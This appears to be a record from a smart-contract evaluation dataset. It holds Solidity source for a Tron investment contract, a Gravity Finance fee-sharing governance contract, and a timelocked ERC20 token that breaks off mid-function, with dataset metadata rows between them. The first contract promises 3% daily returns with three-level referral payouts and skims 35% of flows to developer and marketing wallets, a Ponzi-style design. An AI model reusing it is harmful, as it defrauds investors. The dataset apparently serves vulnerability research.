contract DCF150in50 is Ownable {
using SafeMath for uint256;
uint256 public constant DEVELOPER_RATE = 250; // 25% AI Devlopment Team and Trading Fund
uint256 public constant MARKETING_RATE = 100; // 10% Marketing, Promotions, Adverstising, Office Expenses
uint256 public constant REFERENCE_RATE = 120; // 12% Total Refer Income
uint256 public constant REFERENCE_LEVEL1_RATE = 70; // 7% Level 1 Income
uint256 public constant REFERENCE_LEVEL2_RATE = 35; // 3.5% Level 2 Income
uint256 public constant REFERENCE_LEVEL3_RATE = 15; // 1.5% Level 3 Income
uint256 public constant MINIMUM = 100e6; // Minimum investment : 100 TRX
uint256 public constant REFERRER_CODE = 1234; // Root ID : 1234
uint256 public constant PLAN_INTEREST = 30; // 3% Daily Return INVESTMENT AND INTEREST
uint256 public constant PLAN_TERM = 50 days; // 50 Days
uint256 public constant CONTRACT_LIMIT = 800; // 20% Unlocked for Withdrawal Daily
uint256 public contract_balance;
uint256 private contract_checkpoint;
uint256 public latestReferrerCode;
uint256 public totalInvestments_;
uint256 public totalReinvestments_;
address payable public developerAccount_;
address payable public marketingAccount_;
mapping(address => uint256) public address2UID;
mapping(uint256 => Objects.Investor) public uid2Investor;
event onInvest(address investor, uint256 amount);
event onReinvest(address investor, uint256 amount);
event onWithdraw(address investor, uint256 amount);
constructor(address payable _developerAccount,address payable _marketingAccount) public {
developerAccount_ = _developerAccount;
marketingAccount_ = _marketingAccount;
_init();
}
function _init() private {
latestReferrerCode = REFERRER_CODE;
address2UID[msg.sender] = latestReferrerCode;
uid2Investor[latestReferrerCode].addr = msg.sender;
uid2Investor[latestReferrerCode].referrer = 0;
uid2Investor[latestReferrerCode].planCount = 0;
}
function setMarketingAccount(address payable _newMarketingAccount) public onlyOwner {
require(_newMarketingAccount != address(0));
marketingAccount_ = _newMarketingAccount;
}
function getMarketingAccount() public view onlyOwner returns (address) {
return marketingAccount_;
}
function setDeveloperAccount(address payable _newDeveloperAccount) public onlyOwner {
require(_newDeveloperAccount != address(0));
developerAccount_ = _newDeveloperAccount;
}
function getDeveloperAccount() public view onlyOwner returns (address) {
return developerAccount_;
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
function getUIDByAddress(address _addr) public view returns (uint256) {
return address2UID[_addr];
}
function getInvestorInfoByUID(uint256 _uid) public view returns (uint256,uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256[] memory) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investor info.");
}
Objects.Investor storage investor = uid2Investor[_uid];
uint256[] memory newDividends = new uint256[](investor.planCount);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate != 0, "wrong investment date");
if (investor.plans[i].isExpired) {
newDividends[i] = 0;
} else {
if (block.timestamp >= investor.plans[i].investmentDate.add(PLAN_TERM)) {
newDividends[i] = _calculateDividends(investor.plans[i].investment, PLAN_INTEREST, investor.plans[i].investmentDate.add(PLAN_TERM), investor.plans[i].lastWithdrawalDate);
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, PLAN_INTEREST, block.timestamp, investor.plans[i].lastWithdrawalDate);
}
}
}
return
(investor.referrerEarnings,
investor.availableReferrerEarnings,
investor.reinvestWallet,
investor.referrer,
investor.level1RefCount,
investor.level2RefCount,
investor.level3RefCount,
investor.planCount,
investor.checkpoint,
newDividends);
}
function getInvestmentPlanByUID(uint256 _uid) public view returns (uint256[] memory, uint256[] memory, uint256[] memory, bool[] memory) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investment plan info.");
}
Objects.Investor storage investor = uid2Investor[_uid];
uint256[] memory investmentDates = new uint256[](investor.planCount);
uint256[] memory investments = new uint256[](investor.planCount);
uint256[] memory currentDividends = new uint256[](investor.planCount);
bool[] memory isExpireds = new bool[](investor.planCount);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate!=0,"wrong investment date");
currentDividends[i] = investor.plans[i].currentDividends;
investmentDates[i] = investor.plans[i].investmentDate;
investments[i] = investor.plans[i].investment;
if (investor.plans[i].isExpired) {
isExpireds[i] = true;
} else {
isExpireds[i] = false;
if (PLAN_TERM > 0) {
if (block.timestamp >= investor.plans[i].investmentDate.add(PLAN_TERM)) {
isExpireds[i] = true;
}
}
}
}
return
(investmentDates,
investments,
currentDividends,
isExpireds);
}
function _addInvestor(address _addr, uint256 _referrerCode) private returns (uint256) {
if (_referrerCode >= REFERRER_CODE) {
if (uid2Investor[_referrerCode].addr == address(0)) {
_referrerCode = 0;
}
} else {
_referrerCode = 0;
}
address addr = _addr;
latestReferrerCode = latestReferrerCode.add(1);
address2UID[addr] = latestReferrerCode;
uid2Investor[latestReferrerCode].addr = addr;
uid2Investor[latestReferrerCode].referrer = _referrerCode;
uid2Investor[latestReferrerCode].planCount = 0;
if (_referrerCode >= REFERRER_CODE) {
uint256 _ref1 = _referrerCode;
uint256 _ref2 = uid2Investor[_ref1].referrer;
uint256 _ref3 = uid2Investor[_ref2].referrer;
uid2Investor[_ref1].level1RefCount = uid2Investor[_ref1].level1RefCount.add(1);
if (_ref2 >= REFERRER_CODE) {
uid2Investor[_ref2].level2RefCount = uid2Investor[_ref2].level2RefCount.add(1);
}
if (_ref3 >= REFERRER_CODE) {
uid2Investor[_ref3].level3RefCount = uid2Investor[_ref3].level3RefCount.add(1);
}
}
return (latestReferrerCode);
}
function _invest(address _addr, uint256 _referrerCode, uint256 _amount) private returns (bool) {
require(_amount >= MINIMUM, "Less than the minimum amount of deposit requirement");
uint256 uid = address2UID[_addr];
if (uid == 0) {
uid = _addInvestor(_addr, _referrerCode);
//new user
} else {
//old user
//do nothing, referrer is permenant
}
uint256 planCount = uid2Investor[uid].planCount;
Objects.Investor storage investor = uid2Investor[uid];
investor.plans[planCount].investmentDate = block.timestamp;
investor.plans[planCount].lastWithdrawalDate = block.timestamp;
investor.plans[planCount].investment = _amount;
investor.plans[planCount].currentDividends = 0;
investor.plans[planCount].isExpired = false;
investor.planCount = investor.planCount.add(1);
_calculateReferrerReward(_amount, investor.referrer);
totalInvestments_ = totalInvestments_.add(_amount);
uint256 developerPercentage = (_amount.mul(DEVELOPER_RATE)).div(1000);
developerAccount_.transfer(developerPercentage);
uint256 marketingPercentage = (_amount.mul(MARKETING_RATE)).div(1000);
marketingAccount_.transfer(marketingPercentage);
return true;
}
function _reinvestAll(address _addr, uint256 _amount) private returns (bool) {
require(_amount >= MINIMUM, "Less than the minimum amount of deposit requirement");
uint256 uid = address2UID[_addr];
uint256 planCount = uid2Investor[uid].planCount;
Objects.Investor storage investor = uid2Investor[uid];
investor.plans[planCount].investmentDate = block.timestamp;
investor.plans[planCount].lastWithdrawalDate = block.timestamp;
investor.plans[planCount].investment = _amount;
investor.plans[planCount].currentDividends = 0;
investor.plans[planCount].isExpired = false;
investor.planCount = investor.planCount.add(1);
totalReinvestments_ = totalReinvestments_.add(_amount);
return true;
}
function invest(uint256 _referrerCode) public payable {
if (_invest(msg.sender, _referrerCode, msg.value)) {
emit onInvest(msg.sender, msg.value);
}
}
function withdraw() public {
uint256 uid = address2UID[msg.sender];
require(uid != 0, "Can not withdraw because no any investments");
require(withdrawAllowance(), "Withdraw are not allowed between 0am to 4am UTC");
//only once a day
require(block.timestamp > uid2Investor[uid].checkpoint + 1 days , "Only once a day");
uid2Investor[uid].checkpoint = block.timestamp;
uint256 withdrawalAmount = 0;
for (uint256 i = 0; i < uid2Investor[uid].planCount; i++) {
if (uid2Investor[uid].plans[i].isExpired) {
continue;
}
bool isExpired = false;
uint256 withdrawalDate = block.timestamp;
uint256 endTime = uid2Investor[uid].plans[i].investmentDate.add(PLAN_TERM);
if (withdrawalDate >= endTime) {
withdrawalDate = endTime;
isExpired = true;
}
uint256 amount = _calculateDividends(uid2Investor[uid].plans[i].investment , PLAN_INTEREST , withdrawalDate , uid2Investor[uid].plans[i].lastWithdrawalDate);
withdrawalAmount += amount;
uid2Investor[uid].plans[i].lastWithdrawalDate = withdrawalDate;
uid2Investor[uid].plans[i].isExpired = isExpired;
uid2Investor[uid].plans[i].currentDividends += amount;
}
if(withdrawalAmount>0){
uint256 currentBalance = getBalance();
if(withdrawalAmount >= currentBalance){
withdrawalAmount=currentBalance;
}
require(currentBalance.sub(withdrawalAmount) >= contract_balance.mul(CONTRACT_LIMIT).div(1000), "80% contract balance limit");
uint256 reinvestAmount = withdrawalAmount.div(2);
if(withdrawalAmount > 90e9){
reinvestAmount = withdrawalAmount.sub(45e9);
}
//reinvest
uid2Investor[uid].reinvestWallet = uid2Investor[uid].reinvestWallet.add(reinvestAmount);
//withdraw
msg.sender.transfer(withdrawalAmount.sub(reinvestAmount));
uint256 developerPercentage = (withdrawalAmount.mul(DEVELOPER_RATE)).div(1000);
developerAccount_.transfer(developerPercentage);
uint256 marketingPercentage = (withdrawalAmount.mul(MARKETING_RATE)).div(1000);
marketingAccount_.transfer(marketingPercentage);
}
emit onWithdraw(msg.sender, withdrawalAmount);
}
function reinvest() public {
uint256 uid = address2UID[msg.sender];
require(uid != 0, "Can not reinvest because no any investments");
//only once a day
require(block.timestamp > uid2Investor[uid].checkpoint + 1 days , "Only once a day");
uid2Investor[uid].checkpoint = block.timestamp;
uint256 withdrawalAmount = 0;
for (uint256 i = 0; i < uid2Investor[uid].planCount; i++) {
if (uid2Investor[uid].plans[i].isExpired) {
continue;
}
bool isExpired = false;
uint256 withdrawalDate = block.timestamp;
uint256 endTime = uid2Investor[uid].plans[i].investmentDate.add(PLAN_TERM);
if (withdrawalDate >= endTime) {
withdrawalDate = endTime;
isExpired = true;
}
uint256 amount = _calculateDividends(uid2Investor[uid].plans[i].investment , PLAN_INTEREST , withdrawalDate , uid2Investor[uid].plans[i].lastWithdrawalDate);
withdrawalAmount += amount;
uid2Investor[uid].plans[i].lastWithdrawalDate = withdrawalDate;
uid2Investor[uid].plans[i].isExpired = isExpired;
uid2Investor[uid].plans[i].currentDividends += amount;
}
if (uid2Investor[uid].availableReferrerEarnings>0) {
withdrawalAmount += uid2Investor[uid].availableReferrerEarnings;
uid2Investor[uid].referrerEarnings = uid2Investor[uid].availableReferrerEarnings.add(uid2Investor[uid].referrerEarnings);
uid2Investor[uid].availableReferrerEarnings = 0;
}
if (uid2Investor[uid].reinvestWallet>0) {
withdrawalAmount += uid2Investor[uid].reinvestWallet;
uid2Investor[uid].reinvestWallet = 0;
}
if(withdrawalAmount>0){
//reinvest
_reinvestAll(msg.sender,withdrawalAmount);
}
emit onReinvest(msg.sender, withdrawalAmount);
}
function _calculateDividends(uint256 _amount, uint256 _dailyInterestRate, uint256 _now, uint256 _start) private pure returns (uint256) {
return (_amount * _dailyInterestRate / 1000 * (_now - _start)) / (60*60*24);
}
function _calculateReferrerReward(uint256 _investment, uint256 _referrerCode) private {
uint256 _allReferrerAmount = (_investment.mul(REFERENCE_RATE)).div(1000);
if (_referrerCode != 0) {
uint256 _ref1 = _referrerCode;
uint256 _ref2 = uid2Investor[_ref1].referrer;
uint256 _ref3 = uid2Investor[_ref2].referrer;
uint256 _refAmount = 0;
if (_ref1 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL1_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref1].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref1].availableReferrerEarnings);
}
if (_ref2 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL2_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref2].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref2].availableReferrerEarnings);
}
if (_ref3 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL3_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref3].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref3].availableReferrerEarnings);
}
}
}
function updateBalance() public {
//only once a day
require(block.timestamp > contract_checkpoint + 1 days , "Only once a day");
contract_checkpoint = block.timestamp;
contract_balance = getBalance();
}
function getHour() public view returns (uint8){
return uint8((block.timestamp / 60 / 60) % 24);
}
function withdrawAllowance() public view returns(bool){
uint8 hour = getHour();
if(hour >= 0 && hour <= 3){
return false;
}
else{
return true;
}
}
}
| 299,898 | 14,173 |
ee87a851d0ed8243fdcda8bafd88dfe4c02e9b36ccadacda0e205f89a92b45f7
| 20,590 |
.sol
|
Solidity
| false |
364055334
|
crispymangoes/GravityFinance
|
1d1fec0f967f2e0974d433e50735ced96a89dfc3
|
Flattened/Flat_Governance.sol
| 3,167 | 12,930 |
// Sources flattened with hardhat v2.2.1 https://hardhat.org
// File @openzeppelin/contracts/utils/Context.sol@v4.1.0
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
// File @openzeppelin/contracts/access/Ownable.sol@v4.1.0
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File @openzeppelin/contracts/token/ERC20/IERC20.sol@v4.1.0
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File @openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol@v4.1.0
abstract contract Initializable {
bool private _initialized;
bool private _initializing;
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
// File @openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol@v4.1.0
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
uint256[50] private __gap;
}
// File @openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol@v4.1.0
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
// File contracts/interfaces/iGravityToken.sol
interface iGravityToken is IERC20 {
function setGovernanceAddress(address _address) external;
function changeGovernanceForwarding(bool _bool) external;
function burn(uint256 _amount) external returns (bool);
}
// File contracts/Governance.sol
contract Governance is Initializable, OwnableUpgradeable {
mapping(address => uint256) public feeBalance;
address public tokenAddress;
struct FeeLedger {
uint256 totalFeeCollected_LastClaim;
uint256 totalSupply_LastClaim;
uint256 userBalance_LastClaim;
}
mapping(address => FeeLedger) public feeLedger;
uint256 totalFeeCollected;
iGravityToken GFI;
IERC20 WETH;
IERC20 WBTC;
modifier onlyToken() {
require(msg.sender == tokenAddress, "Only the token contract can call this function");
_;
}
function initialize(address GFI_ADDRESS,
address WETH_ADDRESS,
address WBTC_ADDRESS) public initializer {
__Ownable_init();
tokenAddress = GFI_ADDRESS;
GFI = iGravityToken(GFI_ADDRESS);
WETH = IERC20(WETH_ADDRESS);
WBTC = IERC20(WBTC_ADDRESS);
}
function _updateFeeReceiver(address _address, uint256 amount)
internal
returns (uint256)
{
uint256 supply;
uint256 balance;
//Pick the greatest supply and the lowest user balance
uint256 currentBalance = GFI.balanceOf(_address) + amount;
if (currentBalance > feeLedger[_address].userBalance_LastClaim) {
balance = feeLedger[_address].userBalance_LastClaim;
} else {
balance = currentBalance;
}
uint256 currentSupply = GFI.totalSupply();
if (currentSupply < feeLedger[_address].totalSupply_LastClaim) {
supply = feeLedger[_address].totalSupply_LastClaim;
} else {
supply = currentSupply;
}
uint256 feeAllocation =
((totalFeeCollected -
feeLedger[_address].totalFeeCollected_LastClaim) * balance) /
supply;
feeLedger[_address].totalFeeCollected_LastClaim = totalFeeCollected;
feeLedger[_address].totalSupply_LastClaim = currentSupply;
feeLedger[_address].userBalance_LastClaim = currentBalance;
feeBalance[_address] = feeBalance[_address] + feeAllocation;
return feeAllocation;
}
function updateFee(address _address) public returns (uint256) {
require(GFI.balanceOf(_address) > 0, "_address has no GFI");
uint256 supply;
uint256 balance;
//Pick the greatest supply and the lowest user balance
uint256 currentBalance = GFI.balanceOf(_address);
if (currentBalance > feeLedger[_address].userBalance_LastClaim) {
balance = feeLedger[_address].userBalance_LastClaim;
} else {
balance = currentBalance;
}
uint256 currentSupply = GFI.totalSupply();
if (currentSupply < feeLedger[_address].totalSupply_LastClaim) {
supply = feeLedger[_address].totalSupply_LastClaim;
} else {
supply = currentSupply;
}
uint256 feeAllocation =
((totalFeeCollected -
feeLedger[_address].totalFeeCollected_LastClaim) * balance) /
supply;
feeLedger[_address].totalFeeCollected_LastClaim = totalFeeCollected;
feeLedger[_address].totalSupply_LastClaim = currentSupply;
feeLedger[_address].userBalance_LastClaim = currentBalance;
feeBalance[_address] = feeBalance[_address] + feeAllocation;
return feeAllocation;
}
function claimFee() public returns (uint256) {
require(GFI.balanceOf(msg.sender) > 0, "User has no GFI");
uint256 supply;
uint256 balance;
//Pick the greatest supply and the lowest user balance
uint256 currentBalance = GFI.balanceOf(msg.sender);
if (currentBalance > feeLedger[msg.sender].userBalance_LastClaim) {
balance = feeLedger[msg.sender].userBalance_LastClaim;
} else {
balance = currentBalance;
}
uint256 currentSupply = GFI.totalSupply();
if (currentSupply < feeLedger[msg.sender].totalSupply_LastClaim) {
supply = feeLedger[msg.sender].totalSupply_LastClaim;
} else {
supply = currentSupply;
}
uint256 feeAllocation =
((totalFeeCollected -
feeLedger[msg.sender].totalFeeCollected_LastClaim) * balance) /
supply;
feeLedger[msg.sender].totalFeeCollected_LastClaim = totalFeeCollected;
feeLedger[msg.sender].totalSupply_LastClaim = currentSupply;
feeLedger[msg.sender].userBalance_LastClaim = currentBalance;
//Add any extra fees they need to collect
feeAllocation = feeAllocation + feeBalance[msg.sender];
feeBalance[msg.sender] = 0;
require(WETH.transfer(msg.sender, feeAllocation),"Failed to delegate wETH to caller");
return feeAllocation;
}
function delegateFee(address reciever) public returns (uint256) {
require(GFI.balanceOf(msg.sender) > 0, "User has no GFI");
uint256 supply;
uint256 balance;
//Pick the greatest supply and the lowest user balance
uint256 currentBalance = GFI.balanceOf(msg.sender);
if (currentBalance > feeLedger[msg.sender].userBalance_LastClaim) {
balance = feeLedger[msg.sender].userBalance_LastClaim;
} else {
balance = currentBalance;
}
uint256 currentSupply = GFI.totalSupply();
if (currentSupply < feeLedger[msg.sender].totalSupply_LastClaim) {
supply = feeLedger[msg.sender].totalSupply_LastClaim;
} else {
supply = currentSupply;
}
uint256 feeAllocation =
((totalFeeCollected -
feeLedger[msg.sender].totalFeeCollected_LastClaim) * balance) /
supply;
feeLedger[msg.sender].totalFeeCollected_LastClaim = totalFeeCollected;
feeLedger[msg.sender].totalSupply_LastClaim = currentSupply;
feeLedger[msg.sender].userBalance_LastClaim = currentBalance;
//Add any extra fees they need to collect
feeAllocation = feeAllocation + feeBalance[msg.sender];
feeBalance[msg.sender] = 0;
require(WETH.transfer(reciever, feeAllocation), "Failed to delegate wETH to reciever");
return feeAllocation;
}
function withdrawFee() external {
uint256 feeAllocation = feeBalance[msg.sender];
feeBalance[msg.sender] = 0;
require(WETH.transfer(msg.sender, feeAllocation), "Failed to delegate wETH to caller");
}
function govAuthTransfer(address caller,
address to,
uint256 amount) external onlyToken returns (bool) {
require(GFI.balanceOf(caller) >= amount, "GOVERNANCE: Amount exceedes balance!");
updateFee(caller);
_updateFeeReceiver(to, amount);
return true;
}
function govAuthTransferFrom(address caller,
address from,
address to,
uint256 amount) external onlyToken returns (bool) {
require(GFI.allowance(from, caller) >= amount, "GOVERNANCE: Amount exceedes allowance!");
require(GFI.balanceOf(from) >= amount, "GOVERNANCE: Amount exceedes balance!");
updateFee(from);
_updateFeeReceiver(to, amount);
return true;
}
function depositFee(uint256 amountWETH, uint256 amountWBTC) external {
require(WETH.transferFrom(msg.sender, address(this), amountWETH),
"Failed to transfer wETH into contract!");
require(WBTC.transferFrom(msg.sender, address(this), amountWBTC),
"Failed to transfer wBTC into contract!");
totalFeeCollected = totalFeeCollected + amountWETH;
}
function claimBTC(uint256 amount) external {
require(amount > 10**18,
"Amount too small, must be greater than 1 GFI token!");
require(GFI.transferFrom(msg.sender, address(this), amount),
"Failed to transfer GFI to governance contract!");
require(GFI.burn(amount), "Failed to burn GFI!");
uint256 WBTCowed =
(amount * WBTC.balanceOf(address(this))) / GFI.totalSupply();
require(WBTC.transfer(msg.sender, WBTCowed),
"Failed to transfer wBTC to caller!");
}
}
| 270,480 | 14,174 |
160b0d3a60cbab870804cd772b0630551a074c9c64e16e4141f74fe2b12bac2c
| 12,848 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.4/0x7200d6ba3dae1eb92415dbc9a059433126cfb25f.sol
| 3,343 | 12,402 |
pragma solidity ^0.4.18;
// Contract must have an owner
contract Owned {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function setOwner(address _owner) onlyOwner public {
owner = _owner;
}
}
// SafeMath methods
contract SafeMath {
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
assert(c >= _a);
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_a >= _b);
return _a - _b;
}
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a * _b;
assert(_a == 0 || c / _a == _b);
return c;
}
}
// for safety methods
interface ERC20Token {
function transfer(address _to, uint256 _value) external returns (bool);
function balanceOf(address _addr) external view returns (uint256);
function decimals() external view returns (uint8);
}
// the main ERC20-compliant contract
contract Token is SafeMath, Owned {
uint256 constant DAY_IN_SECONDS = 86400;
string public constant standard = "0.66";
string public name = "";
string public symbol = "";
uint8 public decimals = 0;
uint256 public totalSupply = 0;
mapping (address => uint256) public balanceP;
mapping (address => mapping (address => uint256)) public allowance;
mapping (address => uint256[]) public lockTime;
mapping (address => uint256[]) public lockValue;
mapping (address => uint256) public lockNum;
mapping (address => bool) public locker;
uint256 public later = 0;
uint256 public earlier = 0;
// standard ERC20 events
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
// timelock-related events
event TransferLocked(address indexed _from, address indexed _to, uint256 _time, uint256 _value);
event TokenUnlocked(address indexed _address, uint256 _value);
// safety method-related events
event WrongTokenEmptied(address indexed _token, address indexed _addr, uint256 _amount);
event WrongEtherEmptied(address indexed _addr, uint256 _amount);
// constructor for the ERC20 Token
constructor(string _name, string _symbol, uint8 _decimals, uint256 _totalSupply) public {
require(bytes(_name).length > 0 && bytes(_symbol).length > 0);
name = _name;
symbol = _symbol;
decimals = _decimals;
totalSupply = _totalSupply;
balanceP[msg.sender] = _totalSupply;
}
modifier validAddress(address _address) {
require(_address != 0x0);
_;
}
// owner may add or remove a locker address for the contract
function addLocker(address _address) public validAddress(_address) onlyOwner {
locker[_address] = true;
}
function removeLocker(address _address) public validAddress(_address) onlyOwner {
locker[_address] = false;
}
// fast-forward the timelocks for all accounts
function setUnlockEarlier(uint256 _earlier) public onlyOwner {
earlier = add(earlier, _earlier);
}
// delay the timelocks for all accounts
function setUnlockLater(uint256 _later) public onlyOwner {
later = add(later, _later);
}
// show unlocked balance of an account
function balanceUnlocked(address _address) public view returns (uint256 _balance) {
_balance = balanceP[_address];
uint256 i = 0;
while (i < lockNum[_address]) {
if (add(now, earlier) > add(lockTime[_address][i], later)) _balance = add(_balance, lockValue[_address][i]);
i++;
}
return _balance;
}
// show timelocked balance of an account
function balanceLocked(address _address) public view returns (uint256 _balance) {
_balance = 0;
uint256 i = 0;
while (i < lockNum[_address]) {
if (add(now, earlier) < add(lockTime[_address][i], later)) _balance = add(_balance, lockValue[_address][i]);
i++;
}
return _balance;
}
// standard ERC20 balanceOf with timelock added
function balanceOf(address _address) public view returns (uint256 _balance) {
_balance = balanceP[_address];
uint256 i = 0;
while (i < lockNum[_address]) {
_balance = add(_balance, lockValue[_address][i]);
i++;
}
return _balance;
}
// show timelocks in an account
function showTime(address _address) public view validAddress(_address) returns (uint256[] _time) {
uint i = 0;
uint256[] memory tempLockTime = new uint256[](lockNum[_address]);
while (i < lockNum[_address]) {
tempLockTime[i] = sub(add(lockTime[_address][i], later), earlier);
i++;
}
return tempLockTime;
}
// show values locked in an account's timelocks
function showValue(address _address) public view validAddress(_address) returns (uint256[] _value) {
return lockValue[_address];
}
// Calculate and process the timelock states of an account
function calcUnlock(address _address) private {
uint256 i = 0;
uint256 j = 0;
uint256[] memory currentLockTime;
uint256[] memory currentLockValue;
uint256[] memory newLockTime = new uint256[](lockNum[_address]);
uint256[] memory newLockValue = new uint256[](lockNum[_address]);
currentLockTime = lockTime[_address];
currentLockValue = lockValue[_address];
while (i < lockNum[_address]) {
if (add(now, earlier) > add(currentLockTime[i], later)) {
balanceP[_address] = add(balanceP[_address], currentLockValue[i]);
emit TokenUnlocked(_address, currentLockValue[i]);
} else {
newLockTime[j] = currentLockTime[i];
newLockValue[j] = currentLockValue[i];
j++;
}
i++;
}
uint256[] memory trimLockTime = new uint256[](j);
uint256[] memory trimLockValue = new uint256[](j);
i = 0;
while (i < j) {
trimLockTime[i] = newLockTime[i];
trimLockValue[i] = newLockValue[i];
i++;
}
lockTime[_address] = trimLockTime;
lockValue[_address] = trimLockValue;
lockNum[_address] = j;
}
// standard ERC20 transfer
function transfer(address _to, uint256 _value) public validAddress(_to) returns (bool success) {
if (lockNum[msg.sender] > 0) calcUnlock(msg.sender);
if (balanceP[msg.sender] >= _value && _value > 0) {
balanceP[msg.sender] = sub(balanceP[msg.sender], _value);
balanceP[_to] = add(balanceP[_to], _value);
emit Transfer(msg.sender, _to, _value);
return true;
}
else {
return false;
}
}
// transfer Token with timelocks
function transferLocked(address _to, uint256[] _time, uint256[] _value) public validAddress(_to) returns (bool success) {
require(_value.length == _time.length);
if (lockNum[msg.sender] > 0) calcUnlock(msg.sender);
uint256 i = 0;
uint256 totalValue = 0;
while (i < _value.length) {
totalValue = add(totalValue, _value[i]);
i++;
}
if (balanceP[msg.sender] >= totalValue && totalValue > 0) {
i = 0;
while (i < _time.length) {
balanceP[msg.sender] = sub(balanceP[msg.sender], _value[i]);
lockTime[_to].length = lockNum[_to]+1;
lockValue[_to].length = lockNum[_to]+1;
lockTime[_to][lockNum[_to]] = add(now, _time[i]);
lockValue[_to][lockNum[_to]] = _value[i];
// emit custom TransferLocked event
emit TransferLocked(msg.sender, _to, lockTime[_to][lockNum[_to]], lockValue[_to][lockNum[_to]]);
// emit standard Transfer event for wallets
emit Transfer(msg.sender, _to, lockValue[_to][lockNum[_to]]);
lockNum[_to]++;
i++;
}
return true;
}
else {
return false;
}
}
// lockers set by owners may transfer Token with timelocks
function transferLockedFrom(address _from, address _to, uint256[] _time, uint256[] _value) public
validAddress(_from) validAddress(_to) returns (bool success) {
require(locker[msg.sender]);
require(_value.length == _time.length);
if (lockNum[_from] > 0) calcUnlock(_from);
uint256 i = 0;
uint256 totalValue = 0;
while (i < _value.length) {
totalValue = add(totalValue, _value[i]);
i++;
}
if (balanceP[_from] >= totalValue && totalValue > 0 && allowance[_from][msg.sender] >= totalValue) {
i = 0;
while (i < _time.length) {
balanceP[_from] = sub(balanceP[_from], _value[i]);
allowance[_from][msg.sender] = sub(allowance[_from][msg.sender], _value[i]);
lockTime[_to].length = lockNum[_to]+1;
lockValue[_to].length = lockNum[_to]+1;
lockTime[_to][lockNum[_to]] = add(now, _time[i]);
lockValue[_to][lockNum[_to]] = _value[i];
// emit custom TransferLocked event
emit TransferLocked(_from, _to, lockTime[_to][lockNum[_to]], lockValue[_to][lockNum[_to]]);
// emit standard Transfer event for wallets
emit Transfer(_from, _to, lockValue[_to][lockNum[_to]]);
lockNum[_to]++;
i++;
}
return true;
}
else {
return false;
}
}
// standard ERC20 transferFrom
function transferFrom(address _from, address _to, uint256 _value) public validAddress(_from) validAddress(_to) returns (bool success) {
if (lockNum[_from] > 0) calcUnlock(_from);
